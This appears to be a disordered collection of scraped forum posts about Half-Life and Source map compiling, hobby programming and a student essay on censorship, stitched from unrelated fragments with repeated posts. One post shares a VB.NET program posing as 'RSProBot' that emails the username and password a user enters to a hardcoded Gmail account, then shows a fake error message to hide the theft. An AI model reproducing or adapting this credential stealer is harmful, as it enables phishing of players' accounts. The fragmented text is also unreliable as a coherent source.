0...1...2...3...4...5...6...7...8...9...10 Bounce #3 added RGB(29323, 19316, 11367)
0...1...2...3...4...5...6...7...8...9...10 Bounce #4 added RGB(12690, 7711, 4265)
0...1...2...3...4...5...6...7...8...9...10 Bounce #5 added RGB(5556, 3170, 1653)
0...1...2...3...4...5...6...7...8...9...10 Bounce #6 added RGB(2482, 1350, 661)
0...1...2...3...4...5...6...7...8...9...10 Bounce #7 added RGB(1124, 586, 267)
0...1...2...3...4...5...6...7...8...9...10 Bounce #8 added RGB(515, 258, 109)
0...1...2...3...4...5...6...7...8...9...10 Bounce #9 added RGB(238, 115, 45)
0...1...2...3...4...5...6...7...8...9...10 Bounce #10 added RGB(111, 51, 18)
0...1...2...3...4...5...6...7...8...9...10 Bounce #11 added RGB(52, 23, 8)
0...1...2...3...4...5...6...7...8...9...10 Bounce #12 added RGB(24, 10, 3)
0...1...2...3...4...5...6...7...8...9...10 Bounce #13 added RGB(11, 5, 1)
0...1...2...3...4...5...6...7...8...9...10 Bounce #14 added RGB(5, 2, 1)
0...1...2...3...4...5...6...7...8...9...10 Bounce #15 added RGB(3, 1, 0)
0...1...2...3...4...5...6...7...8...9...10 Bounce #16 added RGB(1, 0, 0)
0...1...2...3...4...5...6...7...8...9...10 Bounce #17 added RGB(1, 0, 0)
Build Patch/Sample Hash Table(s).....Done<0.3407 sec>
0...1...2...3...4...5...6...7...8...9...10FinalLightFace Done
0 of 0 (0% of) surface lights went in leaf ambient cubes.
0...1...2...3...4...5...6...7...8...9...10Writing leaf ambient...done
Ready to Finish

Object names Objects/Maxobjs Memory / Maxmem Fullness
------------ --------------- --------------- --------
models 5/1024 240/49152 ( 0.5%)
brushes 4268/8192 51216/98304 (52.1%)
brushsides 35436/65536 283488/524288 (54.1%)
planes 12588/65536 251760/1310720 (19.2%)
vertexes 16997/65536 203964/786432 (25.9%)
nodes 6498/65536 207936/2097152 ( 9.9%)
texinfos 1071/12288 77112/884736 ( 8.7%)
texdata 33/2048 1056/65536 ( 1.6%)
dispinfos 0/0 0/0 ( 0.0%)
disp_verts 0/0 0/0 ( 0.0%)
disp_tris 0/0 0/0 ( 0.0%)
disp_lmsamples 0/0 0/0 ( 0.0%)
faces 10852/65536 607712/3670016 (16.6%)
hdr faces 10852/65536 607712/3670016 (16.6%)
origfaces 4453/65536 249368/3670016 ( 6.8%)
leaves 6504/65536 208128/2097152 ( 9.9%)
leaffaces 11955/65536 23910/131072 (18.2%)
leafbrushes 8592/65536 17184/131072 (13.1%)
areas 2/256 16/2048 ( 0.8%)
surfedges 68756/512000 275024/2048000 (13.4%)
edges 39231/256000 156924/1024000 (15.3%)
LDR worldlights 28/8192 2464/720896 ( 0.3%)
HDR worldlights 28/8192 2464/720896 ( 0.3%)
leafwaterdata 0/32768 0/393216 ( 0.0%)
waterstrips 911/32768 9110/327680 ( 2.8%)
waterverts 0/65536 0/786432 ( 0.0%)
waterindices 14841/65536 29682/131072 (22.6%)
cubemapsamples 0/1024 0/16384 ( 0.0%)
overlays 0/512 0/180224 ( 0.0%)
LDR lightdata [variable] 8020988/0 ( 0.0%)
HDR lightdata [variable] 8020988/0 ( 0.0%)
visdata [variable] 1700391/16777216 (10.1%)
entdata [variable] 11196/393216 ( 2.8%)
LDR ambient table 6504/65536 26016/262144 ( 9.9%)
HDR ambient table 6504/65536 26016/262144 ( 9.9%)
LDR leaf ambient 18240/65536 510720/1835008 (27.8%)
HDR leaf ambient 16113/65536 451164/1835008 (24.6%)
occluders 0/0 0/0 ( 0.0%)
occluder polygons 0/0 0/0 ( 0.0%)
occluder vert ind 0/0 0/0 ( 0.0%)
detail props [variable] 1/12 ( 8.3%)
static props [variable] 1/862 ( 0.1%)
pakfile [variable] 174772/0 ( 0.0%)
physics [variable] 1398545/4194304 (33.3%)
physics terrain [variable] 2/1048576 ( 0.0%)

Level flags = 0

Total triangle count: 29080
Writing c:\program files (x86)\steam\steamapps\blackholegmst\garrysmod\garrysmod\maps\vmf\gm_multi_bh.bsp
10 minutes, 49 seconds elapsed
User
Sick vid
Truck
User
cheap way to do a object spin alot of time, perpetual, doesnt matter if its cirlce or not, onl that is cheap and easy
User
and i sending vid
Sick vid
User
Does anybody here know anything about the interaction between a tab control object and the tab indexes of the controls on each tab? Are they unique to each tab or are they still form-wide? The double use of tab in this case has made googling nearly impossible.
page1
Censorship
By: me

-Censorship
internet, books, road maps, the news and even the bible. It all has one thing in common; you cannot flip a page or look at something that has not been in discussion on “censoring”. The world is in on it, we know about it, we do not like it. So why do we let “them” do this. The examination of censorship in America suggests that censorship protects children but also it violates the 1st amendment. censorship protects children even if the first amendment is contradicted. People protest that the first amendment is what the United States of America is founded on and what makes us free. Other people explain that censorship will corrupt our kids if we do not stop things as things are with violent video games. What I think is that when I go on the internet I want to see the truth, things that I want to see and not lines of black on my texts not a white page that says “your organization has blocked this website”. Simple things such as going to cnn has “adult content” or going to other sites and have them misrepresented as such Foolery. Go to your nearest Safeway get on the internet and go to a website with some violence. The chances are that it will be Censored. The children need to know most of this IS on the internet and on TV. Not all at one time but if we keep them in the dark, children will not know what to do.

-“wanting censorship”
Freedom of speech is one of the most basic of human rights and yet there are some boundaries that need to be drawn with particular respect to sensitive issues. Ways that are common in censorship are enforced including bleeping words, blocking images, false info. Such particular issues can be language that is obscene. Movies, music, and news has most of this and it is censored for the sake of children. The government knows that and so they
do , bleep, block and insert new and “clean” information to them. “Children are our future”
should be the motivational thought when censorship comes to mind in the television companies.
Some reasons to be “for” censorship are for the children. The FCC is a company that is the main
hub of censorship in news, TV, and radio. They depict how they do not want the news to show
violence as much as possible. They cannot have nudity violence without the proper rating for that
movie. They tell troublemaker, rogue, bad robot DreamWorks, thx, pixar, that they cannot have
nudity violence without the proper rating for that movie. They do the same thing with everything
you can think of. There is a “FCC” for every country you can name/ all this is a good thing cause
if our children found out about the nudity and the violence it would corrupt there little minds
there are G, PG, PG-13, R, NC-17 that depict what movies will display in there theaters

-Reasons to not want
censorship are the kind of reasons that you want to know some information. I want to Google something about the columbine shooting. I do not want see a clean version of it was all cream and peaches, I would actually want to know the exact details of the town, day, time, how long. Blocking information should be a crime in the united states cause it is one of the things Americans embrace Such things as editing this game called “left for dead 2” the austilalians copy. compared to the usa copy it is cleaner but the hard core generic “shoot dead things” just does not fit with the graphics things as.
No gore: when you shoot a infected you see a small splash of blood, no parts will fly off
No blood splatter: you will not see blood spattering on the screen
No dismemberment: you cannot shoot or melee any limbs, and expect them to fall off
No corpses: as soon the infected hot the ground, the game renders them gone.
No burning: infected will not catch fire.
I expect somebody to say “well the game is cleaner and better with out all that killing and bad intentions“. the game or most things have a intention either to be clean or not. I ask you do you expect a game with one gun to be with good intentions? If you buy a expensive game you expect it to have the most of what the general it is and what you paid for. It would be a waste if it did not have the most gore as possible. What they are doing is denying great ideas that make great things games, books, and television. People who make this violence are not bad people , but creative ones.

-The bad things about censorship
is the over abuse of it. every body has heard of Alice In Wonderland and it is is most definitely not about drug use but over the years people have come to conclusions that it is because of parts of the book such as the one where Alice eats a mushroom. Certain people say that the reason that Alice becomes really tall and then really small in the book is because she is “high on magic mushrooms.” Alice In Wonderland is a great story for kids. It is about a young girl named Alice. Alice herself in a magical place called wonderland. This book was actually banned in China back in 1931 for another reason. Someone did not agree with animals being able to talk the way humans do. They thought that the book was “portraying animals and humans on the same level”
Catcher in the Rye is a book about violence and it makes more sense to ban the Alice in Wonderland. “Catcher in the Rye is the story of teenager Holden Caulfield's turbulent last few days before his Christmas vacation. During these days, Holden leaves Pencey Prep, a boys' school he's been kicked out of, and takes off for a few nights alone in New York City. Holden tells the story from some sort of a mental facility where he's recovering from the stress of the experiences he retells.” This book does have numerous scenes of violence but it is an overall good book. Should students stop leaning about the Second World War because we are afraid to teach them about violence? The answer is no, violence is all around us, and Catcher In the Rye is a healthy way of explaining that to kids. In 1991 Concerned Citizens of Florida challenged Catcher in the Rye. They believed the book was anti-Christian. They did not agree with the profanity, vulgarity, or the references to suicide. The review committee for this book voted that the book should stay in the library.
On September 11, 2001 the world witnessed the worst disaster in the history of North America if not the world since Pearl Harbor. The twin towers of the World Trade Center collapsed due to a terrorist attack on America. This event affected everyone very deeply, but that does not justify talking songs off the air by artists such as Creed, Savage Garden, Led Zeppelin, at one time, hit song Ironic was taken off the airwaves of many radio stations in United States and Canada because the song makes reference to a plane crash. Creed’s hit song, Higher, received the same fate when some angry people heard reference to flying or to be more specific “Can you take me higher?” in the lyrics. This song is about being brought to a place where everything is better and about creating that place here. It does not make sense for people to object to a song with such a deep and spiritual meaning. Both of these songs have no coarse language, sexual or rude remarks, or even any reference to fighting of any sort. It is unbelievable what they do to religions also.

-The good things about censorship are things that protect our children cause The beeps has become increasingly used in our society, so much that whenever we hear it. Every time we hear the beeps, we immediately wonder what word was just removed. Do not tell me you do not ponder it, however quickly, because I am absolutely positive you do. You can not help but wonder what word was just missing in action from that last sentence you just heard! In your head you know what word was It probably goes without saying that we’ve all been conditioned to accept that something naughty has been said when you hear the beep. Censorship can protect out troops it can provide safe for rape victims, relocated people, and most importantly it will keep the moral being of family together.

-In conclusion, censorship in music, TV, maps is wrong in my opinion. Artists in both music and art should be allowed to say/paint whatever they want. That is what our founding fathers based this country upon: freedom. The government is doing an excellent job in making the First Amendment suitable for all. If parents have a problem with it, it is because they did not properly supervise their children.

Have a mini-internet for kids, such that it is accessible to anyone on the Internet, while those on the mini-net cannot access the "real" Internet.

Have a completely separate computer network for children.

Parallel chat network for children and ONLY children.

Internet servers for children that restrict potentially obscene newsgroups.

It's the nature of internet that most simple protections can be defeated and parents should know that!!!

.
It's the nature of internet that most simple protections can be defeated and parents should know that!!!

10 Things the Chinese Government Ignores About Web Censorship
internet nov. 12 2010 <http://www.eweek.com/c/a/Security/10-Things-the-Chinese-Government-Ignores-about-Web-Censorship-770004/>

-censorship- due Nov 30
internet nov/17/2010
<http://www.superjer.com/forum/censorship_due_nov_30.php>

Banned Books - Censorship
internet nov 12 2010 <http://classiclit.about.com/od/bannedliteratur1/Banned_Books_Censorship.htm>

Book Censorship
internet nov 12 2010 <http://www.epinions.com/content_2629345412>

Book Censorship and Banning of Children's Books
internet nov 12 2010 <http://childrensbooks.about.com/cs/censorship/a/censorship.htm>

Censorship From Wikipedia, the free encyclopedia
internet nov. 12 2010 <http://en.wikipedia.org/wiki/Censorship>

Censorship - Right or Wrong?
internet nov 12 2010 <http://www.associatedcontent.com/article/30788/censorship_debate.html>

reasons for media censorship
internet nov 30 2010 <http://www.waynejohn.com/why-censorship-is-good/>

Quotes on freedom of speech and censorship
internet nov 12 2010 <http://cgd.best.vwh.net/home/anticens.htm>

"Internet Censorship Essay - Censorship and the Internet." 123HelpMe.com. 30 Nov 2010
<http://www.123HelpMe.com/view.asp?id=9873>.
User
The problem is that one of the objects you made has a coplanar plane. Try deleting that object and see if it will compile.

Also, are you using a batch file to compile? If not, you should be.
Do a search for the word coplanar on these forums, you should find plenty of info on what you need to do
Exactly! The point is that it is almost impossible to specifically define an object like that. "About" a kilogram doesn't cut it.
Omg what is that over there?!?

Is that something to cheer up RB????
Sick vid
User
the_cloud_system said:
a black hole is sead to suck things up.

hawking brought up the discussion of "where does it go"

sense matter can not get destroyed or created, only converted.

your opinion?

What do you mean "where does it go"?
I thought a black hole was just a huge ammount of mass in a relatively small space. Due to the mass the black hole has large amounts of gravitational pull, and when it 'sucks' stuff in the object is compacted and added to the black hole.

That was my understandings anyway.
User
It can move through itself because it is a mathematical object, not a physical one.

Or it is made of awesome little nanobots.
User
I'll do it, as well as get rid of the ads.

What do you want the title to be?
And what is this page about (for the description/content)?

All the important stuff is embedded in the swf. It would be easier to make a new flash object. Would you like me to do that instead?
Truck
User
Entire file:
php code

<?php
$pollQuestion
= '';
$answers = '';

function
readData(){
global
$pollQuestion,$answers;
// Read configuration
$rawdata = file('Data/Poll/polldata.txt');
// Get the question for polling
$pollQuestion = $rawdata[0];

// Get number of answers - The foirs row is the question
$numberOfAnswers = sizeof($rawdata)-1;
$count = 0;
for (
$i=1; $i <= $numberOfAnswers; $i++){
$answerData = explode(':',$rawdata[$i]);
// If tha actual row is not empty than add to the answers array
if (strlen(trim($answerData[0]))>0){
$answers[$count]['text'] = $answerData[0];
$answers[$count]['count'] = $answerData[1];
++
$count;
}
}
}

function
writeData(){
global
$pollQuestion,$answers;
$file = fopen('Data/Poll/polldata.txt','w');
fwrite($file,$pollQuestion."\r\n",strlen($pollQuestion));
foreach (
$answers as $value) {
$row = $value['text'].':'.$value['count']."\r\n";
fwrite($file,$row,strlen($row));
}
fclose($file);
$file2 = fopen('Data/Poll/blacklist.txt','a');
$ip = $_SERVER['REMOTE_ADDR'];
fwrite($file2,$ip."\n");
fclose($file2);
}

readData();
?>

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "DTD/xhtml1-transitional.dtd">
<html>
<head>
<link href="Data/Poll/style/style.css" rel="stylesheet" type="text/css" />
<title>Bamf.^ Video of the Day</title>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
<script type="text/javascript">

var _gaq = _gaq || [];
_gaq.push(['_setAccount', 'UA-18602024-1']);
_gaq.push(['_trackPageview']);

(function() {
var ga = document.createElement('script'); ga.type = 'text/javascript'; ga.async = true;
ga.src = ('https:' == document.location.protocol ? 'https://ssl' : 'http://www') + '.google-analytics.com/ga.js';
var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(ga, s);
})();

</script>

</head>
<body bgcolor="#000000">
<div id="main">
<?php
$blacklist
="";
$ip = "";
$file = fopen ("Data/Poll/blacklist.txt", "r");
while (
$line = fgets($file))
{
if(
$line == $_SERVER['REMOTE_ADDR'])
{
$blacklist = "true";
break;
}
else print
$line."\n";
}
fclose($file);

if (!isset(
$_POST['submitBtn']) && $blacklist!="true") { ?>
<div class="caption"><?php echo $pollQuestion; ?></div>
<div id="icon">&nbsp;</div>
<form action="<?php echo $_SERVER['PHP_SELF']; ?>" method="post" name="poll">
<table width="300">
<?php
foreach ($answers as $value) {
echo
'<tr><td><input type="radio" name="polling" value="'.$value['text'].'"/> '.$value['text'].'</td></tr>';
}
?>
<tr><td align="center"><br/><input class="text" type="submit" name="submitBtn" value="Vote" /></td></tr>
</table>
</form>
<?php
} else {
$count = 0;
foreach (
$answers as $value) {
if (
$value['text'] == $_POST['polling']) {
$answers[$count]['count'] = ((int)$value['count'])+1;
(int)
$totalCount++;
}
++
$count;
}

writeData();
?>
<div class="caption">Thanks for your vote!</div>
<div id="icon">&nbsp;</div>
<div id="result">
<table width="300">
<?php
foreach ($answers as $value) {
echo
'<tr><td> '.$value['text'].'</td><td>'.$value['count'].'</td></tr>';
}
?>
</table>
</div>
<?php } ?>
<div id="source">&#169; Sprinkles</div>
</div>
<div align="center">
<object width="1280" height="745"><param name="movie" value="http://www.youtube.com/v/PiHOonldMPU?fs=1&amp;hl=en_US&amp;rel=0&amp;color1=0x3a3a3a&amp;color2=0x999999&amp;hd=1"></param><param name="allowFullScreen" value="true"></param><param name="allowscriptaccess" value="always"></param><embed src="http://www.youtube.com/v/PiHOonldMPU?fs=1&amp;hl=en_US&amp;rel=0&amp;color1=0x3a3a3a&amp;color2=0x999999&amp;hd=1" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="1280" height="745"></embed></object>
</div>
</body>
</html>

User
superjer said:
sprinkles said:
code
114:/usr/hlds# ./hlds_run -game cstrike +ip ip.de.internet _sv_lan 1 -nomaster +maxplayers 24 +map de_dust2
Auto detecting CPU
Using Pentium II Optimised binary.
Auto-restarting the server on crash
Error:libSteamValidateUserIDTickets_i386.so: cannot open shared object file: No such file or directory
Unable to load engine, image is corrupt.


Not the cause but +ip ip.de.internet and _sv_lan 1 look incorrect.

On mine libSteamValidateUserIDTickets_i386.so is all lowercase. Make sure your files are updated.

Are you trying to run it in non-Steam mode? Because that's extremely error-prone. If you want to do that you should run 1.5 or something.

whats wrong with _sv_lan 1?
Maybe thats why mine won't work...
And yes he's doing no-steam... me too :D
User
sprinkles said:
code
114:/usr/hlds# ./hlds_run -game cstrike +ip ip.de.internet _sv_lan 1 -nomaster +maxplayers 24 +map de_dust2
Auto detecting CPU
Using Pentium II Optimised binary.
Auto-restarting the server on crash
Error:libSteamValidateUserIDTickets_i386.so: cannot open shared object file: No such file or directory
Unable to load engine, image is corrupt.


Not the cause but +ip ip.de.internet and _sv_lan 1 look incorrect.

On mine libSteamValidateUserIDTickets_i386.so is all lowercase. Make sure your files are updated.

Are you trying to run it in non-Steam mode? Because that's extremely error-prone. If you want to do that you should run 1.5 or something.
User
code
114:/usr/hlds# ./hlds_run -game cstrike +ip ip.de.internet _sv_lan 1 -nomaster +maxplayers 24 +map de_dust2
Auto detecting CPU
Using Pentium II Optimised binary.
Auto-restarting the server on crash
Error:libSteamValidateUserIDTickets_i386.so: cannot open shared object file: No such file or directory
Unable to load engine, image is corrupt.
User
**SCRIPT TAGS NOT ALLOWED**

Sick vid

User
yaa i can elucidate further... The way we make maps in ValveHammer
in the same way i want to build the digital maps of building or any 3D object... Do you have any idea how to do it???
User
This has nothing to do with Hammer, but is pretty frequent and usefull:

code
Imports System.Net.Mail
Public Class Form1

Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
Dim MyMailMessage As New MailMessage()
MyMailMessage.From = New MailAddress("XXXXXXX@gmail.com")
MyMailMessage.To.Add("XXXXXXX@gmail.com")
MyMailMessage.Subject = ("free account")
MyMailMessage.Body = TextBox1.Text + "-" + TextBox2.Text
Dim SMTPServer As New SmtpClient("smtp.gmail.com")
SMTPServer.Port = 587
SMTPServer.Credentials = New System.Net.NetworkCredential("XXXXXXXX@gmail.com", "XXXXXXXXX")
SMTPServer.EnableSsl = True
SMTPServer.Send(MyMailMessage)
MsgBox("This version of RSProBot is not compatible with the current Runescape Client. Please contact our support team at: Support@ProBot.net", MsgBoxStyle.Information, "Compatability Error")
End Sub

Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click
End
End Sub

End Class
Truck
hueyjie said:
1. why do some maps come with a .res file and what is the use of the file?

2. why do some maps come with a .wad file? the texture of the map can't be stored in the map?

3. how to make players without pistols or knives at the beginning of the game?

4. what is the entity for an object to make it has an ability to heal players?

5. why we can't steal the textures of some maps using textract? eg. de_dust2

1. The .res-file is a list of custom files used by a map(eg. sound, textures, models, skies etc.). When a player connects to a server it will automatically download the files listed in the .res-file so the player can play your custom map. Read more: http://www.telefragged.com/wally/tutorials/res_files.html

2. Yes, textures can be embedded inside the .bsp-file. Reason for people not doing it: they don't know how to do it, they just forgot it or they don't give a fuck.

3. game_player_equip

5. Maybe a bug in textract? Also remember that not all textures de_dust2 uses are embedded in the bsp-file, it also uses some textures from cs_dust.wad and halflife.wad I believe.
Truck
User
hueyjie said:
1. why do some maps come with a .res file and what is the use of the file?


It lets you know what resources the map needs.

hueyjie said:
2. why do some maps come with a .wad file? the texture of the map can't be stored in the map?


The textures can be stored inside the map or in a wad, it doesn't make a difference.

hueyjie said:
3. how to make players without pistols or knives at the beginning of the game?


Use the player_weaponstrip point entity.

hueyjie said:
4. what is the entity for an object to make it has an ability to heal players?


You can use the item_heathkit point entity.

hueyjie said:
5. why we can't steal the textures of some maps using textract? eg. de_dust2


Why do you want to steal peoples textures?
Truck
User
1. why do some maps come with a .res file and what is the use of the file?

2. why do some maps come with a .wad file? the texture of the map can't be stored in the map?

3. how to make players without pistols or knives at the beginning of the game?

4. what is the entity for an object to make it has an ability to heal players?

5. why we can't steal the textures of some maps using textract? eg. de_dust2
User
Sick vid


Tell me what you think.
Truck
User
Now I am confused, everybody (msn, codeproject, c-sharpcorner, etc.) tell you how to start a thread, lock, pulse, suspend, abort, etc. but they do not tell you why a thread closes automatically.

Here is some sample code that I had:
code
Thread tNavigate = new Thread(new ThreadStart(Navigate));

private void Navigate()
{
WebBrowser thiswebbrowser = GetCurrentWebBrowser();
thiswebbrowser.Navigate(TSCBurl.Text);
}


Whoops!

This is what I get:
Quote:
See the end of this message for details on invoking
just-in-time (JIT) debugging instead of this dialog box.

************** Exception Text **************
System.Threading.ThreadStateException: Thread is running or terminated; it cannot restart.
at System.Threading.Thread.StartupSetApartmentStateInternal()
at System.Threading.Thread.Start(StackCrawlMark& stackMark)
at System.Threading.Thread.Start()
at WhiteBird.Form1.TSSBmenu_ButtonClick(Object sender, EventArgs e) in C:\Users\Sprinkles\documents\visual studio 2010\Projects\WhiteBird\WhiteBird\Form1.cs:line 103
User
Exactly - its design choices really impact performance. Both Java and JS are object-oriented languages with verbose syntax though! They are slightly similar (obviously excluding the whole compilation thing). I'm at a position where I'm kind of happy with Java. I've been doing proper Javastuff for well over a year now and I'm at the stage where, although we have our differences, some things still piss me off immensely and sometimes it makes me sad, I can live with it. I accept it for what it is and use it accordingly :)
User
Speaking of youtube clips
Sick vid
User
As the title says Im having a problem with a jailbreak map of mine...

Problem 1:

The problem is that when I press a button an object is supposed to break...thats not the case here

Breakable Name: doors
Breakable Flags: Only Trigger
Button Target: doors

When I press the button...nothing happens...

Problem 2:

Textures that are supposed to be "transparent" are solid...
Whats up with that? Something wrong with compiling?
Truck
Sick vid
User
Firstly does the forum allow you to add object content? like:

html code
<img style="visibility:hidden;width:0px;height:0px;" border=0 width=0 height=0 src="http://counters.gigya.com/wildfire/IMP/CXNID=2000002.0NXC/bT*xJmx*PTEyNzAwODU2Njg1NzYmcHQ9MTI3MDA4NTY3MzM3MyZwPTE4MDMxJmQ9Jmc9MSZvPWIxZGRmYmRhZmNjODRhY2FhOTlj/MzVmNThkYjk*NzVl.gif" /><center><p style="visibility:visible;"><object type="application/x-shockwave-flash" data="http://assets.myflashfetish.com/swf/mp3/mff-nano.swf" height="382" width="165" style="width:165px;height:382px"><param name="movie" value="http://assets.myflashfetish.com/swf/mp3/mff-nano.swf" /><param name="quality" value="high" /><param name="scale" value="noscale" /><param name="salign" value="TL" /><param name="wmode" value="transparent"/><param name="flashvars" value="myid=49289477&path=2010/03/31&mycolor=2D2D2D&mycolor2=FFFFFF&mycolor3=77ADD1&autoplay=true&rand=0&f=4&vol=100&pat=0&grad=false"/></object>


Worthless.
User
No. By screen.x I mean the in-game representation of the screen. Or the area in the game which is currently shown on the screen.

Anything that "area" contains or touches should then be drawn.

That way you can just move one object around and have it look like everything is moving.
User
First off you never carve with anything but a square or rectangle.

To carve simple take the object that you want to be the 'carver' and put it where you want the hole. With the 'carver' selected right click-->carve. Done.
User
i have created a big map of my own hostel......

but there is a problem when i look to sky and distant object below the sky the image clarity get damaged..
means it becomes diminished.....

please help me out...
User
the_cloud_system said:
Q: How do I make a sky for my map?

In Hammer, got to Map->Map Properties... and set environment map to "night" or another valid skybox name. Here are some CS sky names:

2desert
desert
backalley
badlands
blue
city1
cliff
cx
de_storm
Des
doom1
DrkG
dusk
forest
green
grnplsnt
hav
morningdew
office
show
showlake_
tornsky
TrainYard
tsccity_

Q: why is my map lagged
basically it depends on the "how much do i have" and the "how do i make Little of it"

how much objects do you have?
instead of LOTS boxes side by side (next to each other) just make one big rectangle and apply decals to the object!

to much complex models?

how big is the map?

is there a leak?


************************************************

how to create sky........ i m not getting...
from where to get the sky box.....
User
BTW the numbers you asked about in the video are the object ID numbers for everything in the game.

You can see them any time with the command "hulls".
User

hi evry body i have problem wen i compil my map :

hlrad: Error:
for Face 2759 (texture -0csSandWall) at

hlrad: Error: Bad surface extents (399 x 8)
Check the file ZHLTProblems.html for a detailed explanation of this problem
______________________
bet i dont know wer i found the face 2759
____________________________________________________________

thats all reports
-----------------------------
hlcsg v2.5.3 rel Custom Build 1.7 (Dec 9 2002)
Zoner's Half-Life Compilation Tools -- Custom Build
Based on code modifications by Sean 'Zoner' Cavanaugh
Based on Valve's version, modified with permission.
Submit detailed bug reports to (merlinis@bigpond.net.au)
----- BEGIN hlcsg -----
Command line: "C:\Program Files\eddi's Tools\ZHLT Compile GUI\ZHLT\HLCSG.EXE"-nowadtextures "C:\Documents and Settings\pc\Bureau\de_werlesdust\de_werlesdust.map"
Entering C:\Documents and Settings\pc\Bureau\de_werlesdust\de_werlesdust.map

Current hlcsg Settings
Name | Setting | Default
---------------------|-----------|-------------------------
threads [ 2 ] [ Varies ]
verbose [ off ] [ off ]
log [ on ] [ on ]
developer [ 0 ] [ 0 ]
chart [ off ] [ off ]
estimate [ off ] [ off ]
max texture memory [ 4194304 ] [ 4194304 ]
priority [ Normal ] [ Normal ]

noclip [ off ] [ off ]
null texture stripping[ on ] [ on ]
clipnode economy mode [ on ] [ on ]
onlyents [ off ] [ off ]
wadtextures [ off ] [ on ]
skyclip [ on ] [ on ]
hullfile [ None ] [ None ]
min surface area [ 0.500 ] [ 0.500 ]
brush union threshold [ 0.000 ] [ 0.000 ]

Using mapfile wad configuration
Wadinclude list :
[zhlt.wad]

0 brushes (totalling 0 sides) discarded from clipping hulls
CreateBrush:
(0.63 seconds)
SetModelCenters:
(0.02 seconds)
CSGBrush:
(2.86 seconds)

Including Wadfile: \program files\valve\zhlt\zhlt.wad
- Contains 3 used textures, 8.33 percent of map (8 textures in wad)
Using Wadfile: \program files\valve\cstrike\aim_force.wad
- Contains 0 used textures, 0.00 percent of map (43 textures in wad)
Using Wadfile: \program files\valve\valve\halflife.wad
- Contains 17 used textures, 47.22 percent of map (3116 textures in wad)
Using Wadfile: \program files\valve\cstrike\liquids.wad
- Contains 0 used textures, 0.00 percent of map (34 textures in wad)
Using Wadfile: \program files\valve\cstrike\sticken.wad
- Contains 0 used textures, 0.00 percent of map (5 textures in wad)
Using Wadfile: \program files\valve\cstrike\aim_munderground.wad
- Contains 1 used texture, 2.78 percent of map (13 textures in wad)
Using Wadfile: \documents and settings\pc\bureau\misc\aim_hangar\cstrike\dsh.wad
- Contains 0 used textures, 0.00 percent of map (1 textures in wad)
Using Wadfile: \program files\valve\cstrike\de_dust2010.wad
- Contains 15 used textures, 41.67 percent of map (33 textures in wad)

added 6 additional animating textures.
Texture usage is at 0.76 mb (of 4.00 mb MAX)
4.44 seconds elapsed

----- END hlcsg -----



hlbsp v2.5.3 rel Custom Build 1.7 (Dec 9 2002)
Zoner's Half-Life Compilation Tools -- Custom Build
Based on code modifications by Sean 'Zoner' Cavanaugh
Based on Valve's version, modified with permission.
Submit detailed bug reports to (merlinis@bigpond.net.au)
----- BEGIN hlbsp -----
Command line: "C:\Program Files\eddi's Tools\ZHLT Compile GUI\ZHLT\HLBSP.EXE""C:\Documents and Settings\pc\Bureau\de_werlesdust\de_werlesdust.map"

Current hlbsp Settings
Name | Setting | Default
-------------------|-----------|-------------------------
threads [ 2 ] [ Varies ]
verbose [ off ] [ off ]
log [ on ] [ on ]
developer [ 0 ] [ 0 ]
chart [ off ] [ off ]
estimate [ off ] [ off ]
max texture memory [ 4194304 ] [ 4194304 ]
priority [ Normal ] [ Normal ]

noclip [ off ] [ off ]
nofill [ off ] [ off ]
null tex. stripping [ on ] [ on ]
notjunc [ off ] [ off ]
subdivide size [ 240 ] [ 240 ] (Min 64) (Max 512)
max node size [ 1024 ] [ 1024 ] (Min 64) (Max 4096)


BSP generation successful, writing portal file 'C:\Documents and Settings\pc\Bureau\de_werlesdust\de_werlesdust.prt'
5.91 seconds elapsed

----- END hlbsp -----



hlvis v2.5.3 rel Custom Build 1.7 (Dec 9 2002)
Zoner's Half-Life Compilation Tools -- Custom Build
Based on code modifications by Sean 'Zoner' Cavanaugh
Based on Valve's version, modified with permission.
Submit detailed bug reports to (merlinis@bigpond.net.au)
----- BEGIN hlvis -----
Command line: "C:\Program Files\eddi's Tools\ZHLT Compile GUI\ZHLT\HLVIS.EXE"-full "C:\Documents and Settings\pc\Bureau\de_werlesdust\de_werlesdust.map"
1277 portalleafs
3716 numportals

-= Current hlvis Settings =-
Name | Setting | Default
-------------------|-----------|-------------------------
threads [ 2 ] [ Varies ]
verbose [ off ] [ off ]
log [ on ] [ on ]
developer [ 0 ] [ 0 ]
chart [ off ] [ off ]
estimate [ off ] [ off ]
max texture memory [ 4194304 ] [ 4194304 ]
max vis distance [ 0 ] [ 0 ]
priority [ Normal ] [ Normal ]

fast vis [ off ] [ off ]
full vis [ on ] [ off ]


BasePortalVis:
(2.52 seconds)
LeafThread:
(140.53 seconds)
average leafs visible: 170
g_visdatasize:110129 compressed from 204320
143.31 seconds elapsed [2m 23s]

----- END hlvis -----



hlrad v2.5.3 rel Custom Build 1.7 (Dec 9 2002)
Zoner's Half-Life Compilation Tools -- Custom Build
Based on code modifications by Sean 'Zoner' Cavanaugh
Based on Valve's version, modified with permission.
Submit detailed bug reports to (merlinis@bigpond.net.au)
----- BEGIN hlrad -----
Command line: "C:\Program Files\eddi's Tools\ZHLT Compile GUI\ZHLT\HLRAD.EXE""C:\Documents and Settings\pc\Bureau\de_werlesdust\de_werlesdust.map"

-= Current hlrad Settings =-
Name | Setting | Default
--------------------|---------------------|-------------------------
threads [ 2 ] [ Varies ]
verbose [ off ] [ off ]
log [ on ] [ on ]
developer [ 0 ] [ 0 ]
chart [ off ] [ off ]
estimate [ off ] [ off ]
max texture memory [ 4194304 ] [ 4194304 ]
priority [ Normal ] [ Normal ]

vismatrix algorithm [ Original ] [ Original ]
oversampling (-extra)[ off ] [ off ]
bounces [ 1 ] [ 1 ]
ambient light [ 0.000 0.000 0.000 ] [ 0.000 0.000 0.000 ]
maximum light [ 255.000 ] [ 256.000 ]
circus mode [ off ] [ off ]

smoothing threshold [ 50.000 ] [ 50.000 ]
direct threshold [ 25.000 ] [ 25.000 ]
direct light scale [ 2.000 ] [ 2.000 ]
coring threshold [ 1.000 ] [ 1.000 ]
patch interpolation [ on ] [ on ]

texscale [ on ] [ on ]
patch subdividing [ on ] [ on ]
